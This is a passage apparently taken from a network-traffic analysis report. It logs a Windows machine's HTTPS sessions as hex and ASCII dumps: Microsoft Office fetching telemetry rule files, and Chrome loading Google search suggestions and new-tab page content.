2024-12-02 06:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e21e9151-601e-0097-6ab4-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063730Z-174f78459684db9fhC1EWRc7g40000000450000000001ews x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063730Z-174f7845968qj8jrhC1EWRh41s000000141g000000003b4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49749	142.250.181.100	443	4064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:31 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 06:37:32 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:31 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Tp8ZiJjww_QqFNLVJITjfA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 06:37:32 UTC	124	IN	Data Raw: 33 30 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 31 22 2c 22 73 61 6e 20 61 6e 74 6f 6e 69 6f 20 73 70 75 72 73 20 76 73 20 73 61 63 72 61 6d 65 6e 74 6f 20 6b 69 6e 67 73 22 2c 22 64 6f 67 65 63 6f 69 6e 20 70 72 69 63 65 22 2c 22 66 6f 72 74 6e 69 74 65 20 63 68 61 70 74 65 72 Data Ascii: 305)]}'["",["nyt connections hints december 1","san antonio spurs vs sacramento kings","dogecoin price","fortnite chapter
2024-12-02 06:37:32 UTC	656	IN	Data Raw: 20 36 22 2c 22 6e 6f 74 72 65 20 64 61 6d 65 20 63 61 74 68 65 64 72 61 6c 20 66 69 72 65 22 2c 22 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 64 65 74 72 6f 69 74 20 6c 69 6f 6e 73 20 72 6f 73 74 65 72 20 6d 6f 76 65 73 22 2c 22 67 6f 6c 64 20 64 65 70 6f 73 69 74 20 63 68 69 6e 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 Data Ascii: 6","notre dame cathedral fire","snow storm weather forecast","detroit lions roster moves","gold deposit china"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","g
2024-12-02 06:37:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49752	142.250.181.100	443	4064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:31 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49751	142.250.181.100	443	4064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:31 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 06:37:32 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 06:37:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 06:37:32 UTC	372	IN	Data Raw: 32 31 31 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2119)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 34 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700267,3700949,3701384,102118940],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-02 06:37:32 UTC	1159	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-02 06:37:32 UTC	514	IN	Data Raw: 31 66 62 0d 0a 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f Data Ascii: 1fbb){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Erro
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 Data Ascii: 8000document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003
2024-12-02 06:37:32 UTC	1390	IN	Data Raw: 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c Data Ascii: \"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49750	142.250.181.100	443	4064	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:31 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 06:37:32 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 06:37:32 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
